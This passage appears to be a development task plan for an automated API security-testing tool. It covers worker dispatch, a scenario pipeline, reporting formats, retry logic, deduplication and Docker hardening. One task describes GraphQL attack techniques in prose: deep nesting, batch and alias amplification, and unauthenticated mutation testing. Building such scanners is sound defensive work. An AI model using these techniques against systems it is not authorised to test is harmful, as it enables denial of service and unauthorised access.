`AgentCoordinator` uses `WorkerDispatcher` for execution - - [ ] `pytest tests/test_worker_dispatcher.py` passes - - **QA Scenarios:** - ``` - Scenario: Parallel dispatch of 4 invocations with concurrency limit of 2 - Tool: Bash (pytest) - Preconditions: Mock execute_invocation with 0.1s delay per call; set max_concurrency=2 - Steps: - 1. Create 4 SkillInvocation objects (2 recon, 2 fuzzing) - 2. Call dispatch_batch(invocations) - 3. Measure wall-clock time — should be ~0.2s (2 batches of 2) not ~0.4s (sequential) - 4. Assert all 4 results returned - Expected Result: 4 Tuple[ToolRun, List[ParsedFinding]] results; wall time < 0.3s - Evidence: .sisyphus/evidence/task-29-parallel-dispatch.txt - - Scenario: One worker failure doesn't crash batch - Tool: Bash (pytest) - Preconditions: Mock execute_invocation to raise RuntimeError on 2nd invocation - Steps: - 1. Dispatch batch of 3 invocations - 2. Assert 3 results returned (2 success + 1 error ToolRun) - 3. Assert error result has exit_code != 0 and stderr contains error message - Expected Result: Batch completes with partial results; no unhandled exception - Evidence: .sisyphus/evidence/task-29-partial-failure.txt - - Scenario: Phase-ordered dispatch (recon before exploit) - Tool: Bash (pytest) - Preconditions: Mock execute_invocation to record call order - Steps: - 1. Create invocations: 1 exploit, 1 recon, 1 fuzzing - 2. Call dispatch_by_phase(invocations) - 3. Assert execution order: recon ran first, then fuzzing, then exploit - Expected Result: Results dict has WorkerKind keys; call order matches phase sequence - Evidence: .sisyphus/evidence/task-29-phase-order.txt - ``` - - **Commit**: `feat(agents): add parallel worker dispatcher with concurrency control and phase ordering` - - -- [ ] 30. Scenario execution pipeline — wire yaml→planner→skills→workers - - **What to do**: - - Create the end-to-end scenario execution pipeline that connects all components: - - Create `src/secnodeapi/pipeline/__init__.py` with `ScenarioRunner` export - - Create `src/secnodeapi/pipeline/scenario.py`: - - Implement `ScenarioRunner` class: - - Constructor takes: `config: LayeredConfig` (from Task 2), `controller: ControllerService`, `coordinator: AgentCoordinator`, `dispatcher: WorkerDispatcher` - - Implement `async def run(self, scenario_path: str, cli_vars: Dict[str, str] = None) -> ReportArtifact`: - 1. Load scenario: `ScenarioParser.parse(scenario_path)` → `ScenarioConfig` (from Task 4) - 2. Merge variables: `cli_vars` override `scenario.variables` override `config` defaults - 3. Create session: `controller.create_session(target=scenario.target, metadata={"scenario": scenario_path})` - 4. Resolve identities: Load `scenario.identities` into `IdentityContext` objects - 5. Resolve instructions: Load `scenario.instructions` into `InstructionSet` objects - 6. Discovery phase (if `scenario.discovery` is enabled): - - Run `graphql_introspect()` (from Task 9) if target has `/graphql` endpoint - - Run `js_scrape_endpoints()` (from Task 10) if JS URLs configured - - Run `fuzz_endpoints()` (from Task 14) if fuzzing wordlist specified - - Feed discovered endpoints into session context - 7. Execution phase: - - If `scenario.mode == "agent"`: use `coordinator.run_agent_loop()` - - If `scenario.mode == "directed"`: use `controller.run_session()` (existing sequential path) - 8. Reporting: `controller._reporting.write(session_id, findings, tool_runs, attack_paths)` → `ReportArtifact` - - Implement `async def _run_discovery(self, session_id: str, scenario: ScenarioConfig) -> List[str]`: - - Orchestrate discovery modules, return list of discovered endpoint URLs - - Update `src/secnodeapi/cli.py` to add a new execution path: - - When `--scenario` is provided (from Task 8 CLI extension): - 1. Load config via `LayeredConfig` (from Task 2) - 2. Instantiate `ControllerService`, `AgentCoordinator`, `WorkerDispatcher` - 3. Create `ScenarioRunner` with all dependencies - 4. Call `await runner.run(scenario_path, cli_vars)` - 5. Print report path and summary - - Ensure the pipeline respects all config layering: `CLI > scenario.yaml > env vars > defaults` - - **Must NOT do**: - - Do not break existing `--mode agent` or `--mode legacy` paths — new scenario path is additive - - Do not import discovery modules that don't exist yet — use conditional imports with graceful fallback - - Do not bypass the config precedence chain (CLI > scenario > env > defaults) - - **Recommended Agent Profile**: `deep` | **Skills**: [] - - Reason: Complex integration task wiring many modules together with precise dependency ordering and config layering - - **Parallelization**: Wave 5 | **Blocks**: Tasks 32, 33, 37 | **Blocked By**: Tasks 2, 4, 8, 9, 10, 14, 23-26, 28, 29 - - **References**: - - `src/secnodeapi/cli.py` — After Task 8: has `--scenario`, `--var`, `--mode greybox` flags; main() dispatches based on mode - - `src/secnodeapi/config_loader.py` — After Task 2: `LayeredConfig` class with `get(key, default)` and precedence chain - - `src/secnodeapi/scenario_parser.py` — After Task 4: `ScenarioParser.parse(path)` → `ScenarioConfig` with target, mode, variables, identities, instructions, discovery, skills - - `src/secnodeapi/services/controller/service.py:31-57` — Constructor pattern showing how to wire all services together; scenario runner follows similar DI pattern - - `src/secnodeapi/services/controller/service.py:81-114` — `run_session()` for the directed/sequential execution path - - `src/secnodeapi/agents/coordinator.py` — After Task 28: `AgentCoordinator.run_agent_loop(session_id, target, config)` for agent mode - - `src/secnodeapi/agents/dispatcher.py` — After Task 29: `WorkerDispatcher` for parallel execution - - `src/secnodeapi/discovery/graphql.py` — After Task 9: `graphql_introspect(target)` → endpoints/types - - `src/secnodeapi/discovery/js_scraper.py` — After Task 10: `js_scrape_endpoints(js_urls)` → endpoint list - - `src/secnodeapi/discovery/fuzzing.py` — After Task 14: `fuzz_endpoints(target, wordlist)` → endpoint list - - `src/secnodeapi/services/reporting/service.py:17-49` — `write(session_id, findings, tool_runs, attack_paths)` → `ReportArtifact` - - `src/secnodeapi/vulnerability_models.py` — `InstructionSet` and identity models - - `src/secnodeapi/services/pipeline.py` — Legacy `PipelineInput` and `IdentityContext` dataclasses for reference - - **Acceptance Criteria**: - - [ ] `ScenarioRunner` class exists with `run()` method - - [ ] Scenario YAML is loaded, parsed, and variables merged with config precedence - - [ ] Discovery modules called when configured (GraphQL, JS, fuzzing) - - [ ] Agent mode uses `AgentCoordinator`, directed mode uses `ControllerService` - - [ ] CLI `--scenario` path creates and runs `ScenarioRunner` - - [ ] Report artifact generated with findings and attack paths - - [ ] `pytest tests/test_scenario_runner.py` passes (mocked services) - - **QA Scenarios:** - ``` - Scenario: Full scenario pipeline with agent mode (mocked) - Tool: Bash (pytest) - Preconditions: Create test scenario YAML with mode=agent, target=http://test; mock all services - Steps: - 1. Parse scenario YAML → ScenarioConfig - 2. Create ScenarioRunner with mocked controller, coordinator, dispatcher - 3. Call runner.run(scenario_path) - 4. Assert coordinator.run_agent_loop was called with correct session_id and target - 5. Assert reporting.write was called with findings - Expected Result: ReportArtifact returned with valid session_id and report path - Evidence: .sisyphus/evidence/task-30-agent-pipeline.txt - - Scenario: Config precedence — CLI vars override scenario vars - Tool: Bash (pytest) - Preconditions: Scenario YAML has variables: {target: "http://default"}; CLI provides --var target=http://override - Steps: - 1. Load scenario with cli_vars={"target": "http://override"} - 2. Assert merged config uses CLI value "http://override" not YAML value - Expected Result: CLI variable takes precedence over scenario YAML variable - Evidence: .sisyphus/evidence/task-30-config-precedence.txt - - Scenario: Discovery phase runs when configured - Tool: Bash (pytest) - Preconditions: Scenario YAML has discovery.graphql=true; mock graphql_introspect to return 5 endpoints - Steps: - 1. Run scenario with discovery enabled - 2. Assert graphql_introspect was called - 3. Assert discovered endpoints fed into session context - Expected Result: Discovery endpoints appear in session_context["discovered_endpoints"] - Evidence: .sisyphus/evidence/task-30-discovery-phase.txt - ``` - - **Commit**: `feat(pipeline): wire end-to-end scenario execution — yaml→discovery→planner→skills→workers→report` - - -- [ ] 31. GraphQL attack skills integration - - **What to do**: - - Wire the GraphQL introspection discovery (Task 9) into the skill execution pipeline: - - Create `src/secnodeapi/skills/graphql_injection.py`: - - Implement `GraphQLInjectionSkill(BaseSkill)` (using base from Task 6): - - `name = "graphql_injection"` - - `skill_type = SkillType.NATIVE` (Python-native, no external tool) - - `worker_kind = WorkerKind.exploit` - - `risk_class = "high"` - - `preconditions = ["graphql_endpoint_discovered"]` - - Implement `async def execute(self, invocation: SkillInvocation, context: dict) -> SkillResult`: - - Extract GraphQL schema from context (populated by discovery phase in Task 9) - - Generate attack queries targeting: - 1. **Deeply nested queries** (resource exhaustion): Build query with 10+ nesting levels - 2. **Batch query abuse**: Send array of 100+ queries in single request - 3. **Introspection abuse**: Check if `__schema` is accessible in production - 4. **Field suggestion exploitation**: Send intentionally wrong field names, parse error messages for field suggestions - 5. **Alias-based amplification**: Use aliases to multiply expensive resolvers - - For each attack vector: - - Build the GraphQL query string - - Send via `httpx.AsyncClient` to the target's GraphQL endpoint - - Parse response: check for errors, measure response time, check for stack traces - - Create `ParsedFinding` for each successful attack - - Returns `SkillResult` with findings list and execution metadata - - Create `src/secnodeapi/skills/graphql_auth_bypass.py`: - - Implement `GraphQLAuthBypassSkill(BaseSkill)`: - - `name = "graphql_auth_bypass"` - - `skill_type = SkillType.NATIVE` - - `worker_kind = WorkerKind.exploit` - - `risk_class = "high"` - - `preconditions = ["graphql_endpoint_discovered", "graphql_schema_available"]` - - Test mutations/queries with and without auth headers: - - Extract all mutations from schema (Task 9's introspection result) - - For each mutation: send without auth token → check if it succeeds (IDOR/broken auth) - - For queries returning user data: send with different user tokens → check for data leakage - - Register both skills in `src/secnodeapi/skills/__init__.py` (building on Task 6's registry): - - Add to `SKILL_REGISTRY` dictionary - - Add corresponding `SkillDefinition` entries in `services/skill_engine/registry.py` - - Wire GraphQL discovery → skill pipeline: - - In the scenario runner (Task 30), when GraphQL introspection succeeds: - - Set `context["graphql_endpoint_discovered"] = "true"` - - Set `context["graphql_schema_available"] = "true"` if schema was retrieved - - Store schema data in memory service: `memory.set_session_context(session_id, {"graphql_schema": json.dumps(schema_dict)})` - - The skill engine's precondition checking (existing in `ranking.py`) will automatically select GraphQL skills when preconditions are met - - **Must NOT do**: - - Do not send GraphQL attacks without checking that a GraphQL endpoint was discovered first (preconditions enforce this) - - Do not use external GraphQL security tools — these are Python-native skills using httpx directly - - Do not hardcode GraphQL endpoint paths — read from discovery context - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - Reason: Domain-specific security skill implementation with GraphQL knowledge — not trivially simple but well-scoped - - **Parallelization**: Wave 5 | **Blocks**: Tasks 37 | **Blocked By**: Tasks 6, 9, 15 (BaseSkill from 6, GraphQL discovery from 9, native skill pattern from 15) - - **References**: - - `src/secnodeapi/skills/base.py` — After Task 6: `BaseSkill` abstract with `execute()` method, `SkillType` enum, `SkillResult` dataclass - - `src/secnodeapi/skills/jwt_tamper.py` — After Task 15: Pattern for Python-native skill implementation — `execute()` method, httpx usage, ParsedFinding creation - - `src/secnodeapi/discovery/graphql.py` — After Task 9: `graphql_introspect(target)` returns `GraphQLSchema` with types, queries, mutations; `_build_introspection_query()` for the schema fetch - - `src/secnodeapi/services/skill_engine/registry.py:1-81` — `SkillDefinition` dataclass fields: `name, worker_kind, tool_name, risk_class, preconditions, required_auth_states, safety_constraints, cooldown_seconds`; `SkillRegistry.register()` for adding new skills - - `src/secnodeapi/services/skill_engine/ranking.py` — `rank_skills()` filters by preconditions matching context — if `graphql_endpoint_discovered` is in context, skills with that precondition become eligible - - `src/secnodeapi/contracts/events.py:60-67` — `ParsedFinding` model: `invocation_id, vulnerability_class, endpoint, method, confidence, evidence, source_tool` - - `src/secnodeapi/memory/service.py:21-26` — `session_context()` / `set_session_context()` for storing/retrieving GraphQL schema in context - - OWASP GraphQL Security Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html - - **Acceptance Criteria**: - - [ ] `GraphQLInjectionSkill` exists with 5 attack vectors (deep nesting, batch, introspection, field suggestion, alias amplification) - - [ ] `GraphQLAuthBypassSkill` exists with mutation auth testing - - [ ] Both skills registered in skill registry - - [ ] Skills only activate when `graphql_endpoint_discovered` precondition is met - - [ ] Discovery → context → skill activation pipeline works end-to-end (mocked) - - [ ] `pytest tests/test_graphql_skills.py` passes - - **QA Scenarios:** - ``` - Scenario: GraphQL injection — deep nesting attack generates finding - Tool: Bash (pytest) - Preconditions: Mock httpx to return 200 with response_time > 5s for nested query; context has graphql_endpoint_discovered=true - Steps: - 1. Create GraphQLInjectionSkill instance - 2. Call execute() with mock invocation and context containing GraphQL schema - 3. Assert skill generates a ParsedFinding with vulnerability_class="graphql_resource_exhaustion" - 4. Assert finding has endpoint, confidence > 0.5, evidence containing the nested query - Expected Result: ParsedFinding created with correct vulnerability class and evidence - Evidence: .sisyphus/evidence/task-31-deep-nesting.txt - - Scenario: GraphQL auth bypass — unauthenticated mutation succeeds - Tool: Bash (pytest) - Preconditions: Mock httpx to return 200 (success) for mutation sent without auth header - Steps: - 1. Create GraphQLAuthBypassSkill instance - 2. Provide context with schema containing a createUser mutation - 3. Call execute() — skill sends mutation without auth token - 4. Assert ParsedFinding with vulnerability_class="graphql_broken_auth" - Expected Result: Finding with confidence >= 0.8 and evidence showing the unauthenticated mutation response - Evidence: .sisyphus/evidence/task-31-auth-bypass.txt - - Scenario: Skills not selected when GraphQL endpoint not discovered - Tool: Bash (pytest) - Preconditions: Context does NOT have graphql_endpoint_discovered key - Steps: - 1. Run rank_skills() with all skills including GraphQL skills - 2. Assert GraphQL skills are NOT in the ranked output (filtered by precondition) - Expected Result: GraphQL skills excluded from ranking results - Evidence: .sisyphus/evidence/task-31-precondition-filter.txt - ``` - - **Commit**: `feat(skills): add GraphQL injection and auth bypass attack skills with discovery integration` - - -- [ ] 32. SARIF output format - - **What to do**: - - Create `src/secnodeapi/reporting/sarif.py`: - - Implement `SarifReporter` class: - - Implement `def generate(self, session_id: str, findings: List[ParsedFinding], tool_runs: List[ToolRun] = None) -> dict`: - - Produce a SARIF v2.1.0 compliant JSON structure: - - `$schema`: "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json" - - `version`: "2.1.0" - - `runs[0].tool.driver.name`: "SecNode API" - - `runs[0].tool.driver.version`: read from package version - - `runs[0].tool.driver.rules[]`: one rule per unique `vulnerability_class` from findings - - `runs[0].results[]`: one result per finding, mapping: - - `ruleId` = `finding.vulnerability_class` - - `level` = confidence-to-level mapping: >=0.8 → "error", >=0.5 → "warning", else "note" - - `message.text` = finding evidence or description - - `locations[0].physicalLocation.artifactLocation.uri` = finding.endpoint - - `locations[0].physicalLocation.artifactLocation.uriBaseId` = finding.method - - Implement `def write(self, session_id: str, findings: List[ParsedFinding], output_dir: Path) -> str`: - - Calls `generate()`, writes to `{output_dir}/findings.sarif` as formatted JSON - - Returns the output file path - - Create `src/secnodeapi/reporting/__init__.py` to export `SarifReporter` and `JUnitReporter` (Task 33) - - Wire into `ReportingService`: - - Add `sarif: bool = False` parameter to `ReportingService.write()` - - When sarif=True, also call `SarifReporter.write()` alongside existing report.md and findings.json - - Wire into CLI: - - Add `--sarif` flag (from Task 8 or add here if not already present) to enable SARIF output - - **Must NOT do**: - - Do not modify existing report.md or findings.json generation — SARIF is additive - - Do not add SARIF validation library — produce valid JSON that conforms to schema by construction - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - Reason: Well-defined output format with clear spec; requires careful field mapping but not complex logic - - **Parallelization**: Wave 6 | **Blocks**: Task 37 | **Blocked By**: Task 30 (needs findings pipeline to exist) - - **References**: - - `src/secnodeapi/services/reporting/service.py:13-49` — `ReportingService.write()` method pattern — new SARIF writer follows same structure - - `src/secnodeapi/contracts/events.py:60-67` — `ParsedFinding` model with `invocation_id, vulnerability_class, endpoint, method, confidence, evidence, source_tool` - - `src/secnodeapi/contracts/events.py:49-57` — `ToolRun` model for tool metadata - - SARIF 2.1.0 specification: https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html - - GitHub SARIF upload docs: https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning - - **Acceptance Criteria**: - - [ ] `SarifReporter` class exists with `generate()` and `write()` methods - - [ ] Output conforms to SARIF v2.1.0 schema structure (correct top-level keys, runs, results) - - [ ] Each finding maps to a SARIF result with correct ruleId, level, message, location - - [ ] Confidence-to-level mapping: >=0.8 → error, >=0.5 → warning, else note - - [ ] Output written to `{output_dir}/findings.sarif` - - [ ] `pytest tests/test_sarif_reporter.py` passes - - **QA Scenarios:** - ``` - Scenario: SARIF output from 3 findings with mixed confidence - Tool: Bash (pytest) - Preconditions: Create 3 ParsedFinding objects: confidence 0.9 (SQL injection), 0.6 (XSS), 0.3 (info disclosure) - Steps: - 1. Call SarifReporter.generate(session_id, findings) - 2. Assert output has $schema, version="2.1.0", runs[0].tool.driver.name="SecNode API" - 3. Assert runs[0].results has 3 entries - 4. Assert result levels: "error", "warning", "note" respectively - 5. Assert each result has ruleId matching vulnerability_class - Expected Result: Valid SARIF JSON with correct level mappings - Evidence: .sisyphus/evidence/task-32-sarif-output.txt - - Scenario: SARIF file written to disk - Tool: Bash (pytest) - Preconditions: Create findings and temp output directory - Steps: - 1. Call SarifReporter.write(session_id, findings, tmp_path) - 2. Assert file exists at tmp_path/findings.sarif - 3. Load file and validate it parses as valid JSON - 4. Assert content matches generate() output - Expected Result: findings.sarif file written with valid SARIF content - Evidence: .sisyphus/evidence/task-32-sarif-file.txt - ``` - - **Commit**: `feat(reporting): add SARIF v2.1.0 output format for CI/CD integration` - ---- - -- [ ] 33. JUnit output format - - **What to do**: - - Create `src/secnodeapi/reporting/junit.py`: - - Implement `JUnitReporter` class: - - Implement `def generate(self, session_id: str, findings: List[ParsedFinding], tool_runs: List[ToolRun] = None) -> str`: - - Produce JUnit XML format: - - `` root element with `name="SecNode API"`, `tests=N`, `failures=N` - - One `` per `vulnerability_class` group - - Each finding becomes a `` with: - - `name` = `"{method} {endpoint} - {vulnerability_class}"` - - `classname` = `"secnodeapi.{vulnerability_class}"` - - If confidence >= 0.5: `evidence` - - If confidence < 0.5: `` with evidence (info-level, not a failure) - - `time` attribute from tool_run duration if available - - Use `xml.etree.ElementTree` (stdlib) — no external XML library - - Implement `def write(self, session_id: str, findings: List[ParsedFinding], output_dir: Path) -> str`: - - Calls `generate()`, writes to `{output_dir}/findings.xml` with XML declaration - - Returns the output file path - - Wire into `ReportingService`: - - Add `junit: bool = False` parameter to `ReportingService.write()` - - When junit=True, call `JUnitReporter.write()` alongside existing outputs - - Wire into CLI: - - Add `--junit` flag to enable JUnit output - - **Must NOT do**: - - Do not add lxml or external XML library — use stdlib `xml.etree.ElementTree` - - Do not modify existing report outputs — JUnit is additive - - **Recommended Agent Profile**: `quick` | **Skills**: [] - - Reason: Simple XML generation with stdlib; well-defined format; straightforward mapping - - **Parallelization**: Wave 6 | **Blocks**: Task 37 | **Blocked By**: Task 30 - - **References**: - - `src/secnodeapi/services/reporting/service.py:13-49` — `ReportingService.write()` method pattern - - `src/secnodeapi/contracts/events.py:60-67` — `ParsedFinding` model fields - - `src/secnodeapi/contracts/events.py:49-57` — `ToolRun` model with `duration_ms` for timing - - JUnit XML format reference: https://github.com/testmoapp/junitxml#readme - - **Acceptance Criteria**: - - [ ] `JUnitReporter` class exists with `generate()` and `write()` methods - - [ ] Output is valid XML with ``, ``, `` elements - - [ ] Findings with confidence >= 0.5 produce `` elements - - [ ] Low-confidence findings produce passing testcases with `` - - [ ] Uses stdlib `xml.etree.ElementTree` only - - [ ] `pytest tests/test_junit_reporter.py` passes - - **QA Scenarios:** - ``` - Scenario: JUnit XML from mixed findings - Tool: Bash (pytest) - Preconditions: Create 3 findings: 2 with confidence >= 0.5, 1 with confidence 0.3 - Steps: - 1. Call JUnitReporter.generate(session_id, findings) - 2. Parse output as XML (ElementTree.fromstring) - 3. Assert root tag is "testsuites" with tests="3", failures="2" - 4. Assert 2 testcases have child elements - 5. Assert 1 testcase has (low-confidence info finding) - Expected Result: Valid JUnit XML with correct failure/pass classification - Evidence: .sisyphus/evidence/task-33-junit-output.txt - - Scenario: Empty findings produce empty test suite - Tool: Bash (pytest) - Steps: - 1. Call JUnitReporter.generate(session_id, findings=[]) - 2. Assert valid XML with tests="0", failures="0" - Expected Result: Valid empty JUnit XML - Evidence: .sisyphus/evidence/task-33-junit-empty.txt - ``` - - **Commit**: `feat(reporting): add JUnit XML output format for CI test reporting` - - -- [ ] 34. Tool crash recovery and formal error handling - - **What to do**: - - Harden the tool execution pipeline with structured error handling: - - Update `src/secnodeapi/workers/base.py` `execute_invocation()` function: - - Wrap `runner.run()` call (line 94) in try/except that catches: - - `asyncio.TimeoutError`: Tool hung → create ToolRun with exit_code=124, stderr="timeout after {N}s" - - `FileNotFoundError`: Tool binary not found → exit_code=127, stderr="tool binary not found: {tool_name}" - - `PermissionError`: Tool not executable → exit_code=126, stderr="permission denied: {tool_name}" - - `Exception`: Catch-all → exit_code=1, stderr=str(exc), log full traceback at ERROR level - - Add timeout to tool execution: wrap `runner.run()` with `asyncio.wait_for(runner.run(...), timeout=tool_timeout)` - - `tool_timeout` from `invocation.safety_constraints.get("timeout_seconds", 300)` (default 5 min) - - On any error, still call `policy.record(invocation)` to track the attempt against budget - - Add retry logic: - - Create `async def execute_with_retry(invocation, policy, max_retries=1) -> Tuple[ToolRun, List[ParsedFinding]]`: - - On timeout or transient error, retry up to `max_retries` times - - On permanent error (binary not found, permission denied), fail immediately (no retry) - - Log each retry attempt at WARNING level with attempt number - - Create structured error types in `src/secnodeapi/workers/errors.py`: - - `ToolTimeoutError(ToolError)`: timeout_seconds, tool_name - - `ToolNotFoundError(ToolError)`: tool_name, searched_paths - - `ToolCrashError(ToolError)`: exit_code, stderr snippet - - All inherit from `ToolError(Exception)` base with `tool_name`, `invocation_id` fields - - Update `WorkerDispatcher` (from Task 29) to use `execute_with_retry()` instead of `execute_invocation()` - - Add crash metrics: when a tool crashes, call `memory.record_skill_outcome(session_id, skill_name, success=False)` so future ranking penalizes it - - **Must NOT do**: - - Do not swallow errors silently — always log and create error ToolRun - - Do not retry indefinitely — max 1 retry for transient errors - - Do not change the return type of `execute_invocation()` — it must still return `Tuple[ToolRun, List[ParsedFinding]]` - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - Reason: Error handling and retry patterns with careful asyncio timeout management; requires precision but well-defined scope - - **Parallelization**: Wave 6 | **Blocks**: Tasks 37 | **Blocked By**: Tasks 23-26, 29 (workers and dispatcher must exist) - - **References**: - - `src/secnodeapi/workers/base.py:65-97` — Current `execute_invocation()` function — line 94 is the `runner.run()` call that needs timeout and error handling - - `src/secnodeapi/workers/base.py:13-15` — Existing `PolicyError` exception — follow this pattern for new error types - - `src/secnodeapi/tools/runners/base.py` — `ShellToolRunner.run()` uses `asyncio.create_subprocess_exec` — this can hang, timeout, or crash - - `src/secnodeapi/agents/dispatcher.py` — After Task 29: `WorkerDispatcher` calls `execute_invocation()` — update to use `execute_with_retry()` - - `src/secnodeapi/memory/service.py:33-34` — `record_skill_outcome(session_id, skill_name, success)` for recording failures - - Python `asyncio.wait_for` docs for timeout wrapping - - **Acceptance Criteria**: - - [ ] Tool timeout produces ToolRun with exit_code=124 and descriptive stderr - - [ ] Missing tool binary produces ToolRun with exit_code=127 - - [ ] `execute_with_retry()` retries once on timeout, fails immediately on permanent errors - - [ ] Structured error types exist in `workers/errors.py` - - [ ] WorkerDispatcher uses `execute_with_retry()` instead of `execute_invocation()` - - [ ] `pytest tests/test_crash_recovery.py` passes - - **QA Scenarios:** - ``` - Scenario: Tool timeout produces clean error ToolRun - Tool: Bash (pytest) - Preconditions: Mock runner.run() to sleep for 10s; set timeout to 1s in safety_constraints - Steps: - 1. Call execute_invocation() with mocked runner - 2. Assert it returns within ~1s (not 10s) - 3. Assert ToolRun has exit_code=124 and stderr contains "timeout" - 4. Assert empty findings list returned - Expected Result: Clean ToolRun with timeout error, no hanging - Evidence: .sisyphus/evidence/task-34-timeout.txt - - Scenario: Retry on transient error, then succeed - Tool: Bash (pytest) - Preconditions: Mock runner.run() to raise TimeoutError first call, succeed second call - Steps: - 1. Call execute_with_retry(invocation, max_retries=1) - 2. Assert runner.run() called twice - 3. Assert final result is successful (from second call) - Expected Result: Successful ToolRun after one retry - Evidence: .sisyphus/evidence/task-34-retry-success.txt - - Scenario: Permanent error (missing binary) fails immediately - Tool: Bash (pytest) - Preconditions: Mock runner.run() to raise FileNotFoundError - Steps: - 1. Call execute_with_retry(invocation, max_retries=1) - 2. Assert runner.run() called only once (no retry for permanent errors) - 3. Assert ToolRun has exit_code=127 and stderr mentions binary not found - Expected Result: Immediate failure with descriptive error, no retry - Evidence: .sisyphus/evidence/task-34-permanent-error.txt - ``` - - **Commit**: `feat(workers): add tool crash recovery with timeout, retry, and structured error handling` - ---- - -- [ ] 35. Finding deduplication across sessions - - **What to do**: - - Implement cross-session finding deduplication using Postgres-backed history (from Task 13): - - Create `src/secnodeapi/reporting/dedup.py`: - - Implement `FindingDeduplicator` class: - - Constructor takes: `history_store: PgAttackHistoryStore` (from Task 13) - - Implement `def fingerprint(self, finding: ParsedFinding) -> str`: - - Generate a stable hash from: `vulnerability_class + endpoint + method + source_tool` - - Use `hashlib.sha256` on the concatenated string - - This fingerprint identifies "the same finding" across sessions - - Implement `async def deduplicate(self, session_id: str, findings: List[ParsedFinding]) -> Tuple[List[ParsedFinding], List[ParsedFinding]]`: - - Returns `(new_findings, duplicate_findings)` tuple - - For each finding, compute fingerprint → check if fingerprint exists in any previous session's findings - - A finding is a duplicate if same fingerprint was found in a different session_id - - Load previous findings from Postgres via `history_store.findings_across_sessions(target)` (needs new method) - - Implement `async def mark_duplicates(self, session_id: str, findings: List[ParsedFinding]) -> List[ParsedFinding]`: - - Convenience method: returns only new (non-duplicate) findings - - Logs count of duplicates suppressed - - Extend `src/secnodeapi/memory/history/store.py` (Postgres-backed version from Task 13): - - Add `async def findings_across_sessions(self, target: str) -> List[ParsedFinding]`: - - Query: `SELECT * FROM attack_history WHERE target = $1 AND session_id != $2` (exclude current session) - - Used by deduplicator to find historical findings for the same target - - Add `async def store_fingerprint(self, session_id: str, fingerprint: str, finding: ParsedFinding) -> None` - - Add `async def has_fingerprint(self, fingerprint: str) -> bool` - - Add `finding_fingerprints` table: `(fingerprint TEXT PK, session_id TEXT, vulnerability_class TEXT, endpoint TEXT, first_seen TIMESTAMP)` - - Wire into `ReportingService.write()`: call `dedup.mark_duplicates()` before writing report - - New findings marked with `[NEW]` in report.md - - Duplicate findings still included but marked with `[DUPLICATE]` - - SARIF/JUnit outputs include only new findings by default - - **Must NOT do**: - - Do not remove duplicate findings from the database — store everything, just annotate - - Do not use in-memory dedup (must use Postgres for cross-session persistence) - - Do not change the ParsedFinding model — dedup annotation is in the report layer only - - **Recommended Agent Profile**: `unspecified-high` | **Skills**: [] - - Reason: Database schema design + fingerprinting algorithm + integration with reporting pipeline - - **Parallelization**: Wave 6 | **Blocks**: Task 37 | **Blocked By**: Tasks 13, 27 (Postgres-backed memory and graph persistence) - - **References**: - - `src/secnodeapi/memory/history/store.py` — After Task 13: Postgres-backed `PgAttackHistoryStore` with `append_findings()` and `findings()` methods - - `src/secnodeapi/contracts/events.py:60-67` — `ParsedFinding` fields used for fingerprinting: `vulnerability_class, endpoint, method, source_tool` - - `src/secnodeapi/services/reporting/service.py:17-49` — `write()` method where dedup is wired in - - `src/secnodeapi/infra/storage.py:1-50` — Postgres adapter patterns for table creation and queries - - **Acceptance Criteria**: - - [ ] `FindingDeduplicator` class exists with `fingerprint()`, `deduplicate()`, `mark_duplicates()` methods - - [ ] Same finding across sessions produces same fingerprint (deterministic) - - [ ] Different findings produce different fingerprints - - [ ] Cross-session lookup uses Postgres (not in-memory) - - [ ] `finding_fingerprints` table created in Postgres - - [ ] Report marks new vs duplicate findings - - [ ] `pytest tests/test_finding_dedup.py` passes - - **QA Scenarios:** - ``` - Scenario: Duplicate finding detected across sessions - Tool: Bash (pytest) - Preconditions: Insert 2 findings from session-1 into Postgres; create same 2 findings for session-2 - Steps: - 1. Call deduplicate(session_id="session-2", findings=findings_session_2) - 2. Assert new_findings is empty (all duplicates) - 3. Assert duplicate_findings has 2 items - Expected Result: Both findings identified as duplicates (matching fingerprints from session-1) - Evidence: .sisyphus/evidence/task-35-dedup-cross-session.txt - - Scenario: New finding not flagged as duplicate - Tool: Bash (pytest) - Preconditions: Session-1 has SQL injection finding; session-2 has XSS finding (different vulnerability_class) - Steps: - 1. Call deduplicate(session_id="session-2", findings=[xss_finding]) - 2. Assert new_findings has 1 item (XSS) - 3. Assert duplicate_findings is empty - Expected Result: XSS finding is new (different fingerprint from session-1's SQL injection) - Evidence: .sisyphus/evidence/task-35-dedup-new-finding.txt - - Scenario: Fingerprint is deterministic - Tool: Bash (pytest) - Steps: - 1. Create two identical ParsedFinding objects - 2. Compute fingerprint for both - 3. Assert fingerprints are equal - 4. Change one field (endpoint), recompute - 5. Assert fingerprints are different - Expected Result: Identical findings produce same hash; different findings produce different hash - Evidence: .sisyphus/evidence/task-35-fingerprint-deterministic.txt - ``` - - **Commit**: `feat(reporting): add cross-session finding deduplication with Postgres fingerprint store` - ---- - -- [ ] 36. Docker sandbox hardening - - **What to do**: - - Harden the Docker Compose deployment with security constraints: - - Update `deploy/docker-compose.yml`: - - Add to `x-worker-common` anchor (applies to all 4 workers): - - `read_only: true` — Read-only root filesystem - - `tmpfs: ["/tmp:size=100M"]` — Writable tmp for tool output - - `security_opt: ["no-new-privileges:true"]` — Prevent privilege escalation - - `cap_drop: ["ALL"]` — Drop all Linux capabilities - - `cap_add: ["NET_RAW"]` — Add back only what tools need (network scanning) - - `mem_limit: 512m` — Memory limit per worker - - `cpus: 1.0` — CPU limit per worker - - `pids_limit: 100` — Prevent fork bombs - - `networks: [internal]` — Isolated network (only api-gateway reaches external) - - Add to `api-gateway` service: - - `read_only: true` - - `tmpfs: ["/tmp:size=50M"]` - - `security_opt: ["no-new-privileges:true"]` - - `mem_limit: 1g` - - `networks: [internal, external]` — Gateway bridges internal and external - - Add to `postgres` service: - - `mem_limit: 256m` - - `volumes` with named volume for data persistence (replace any anonymous volumes) - - Add to `redis` service: - - `mem_limit: 128m` - - `command: redis-server 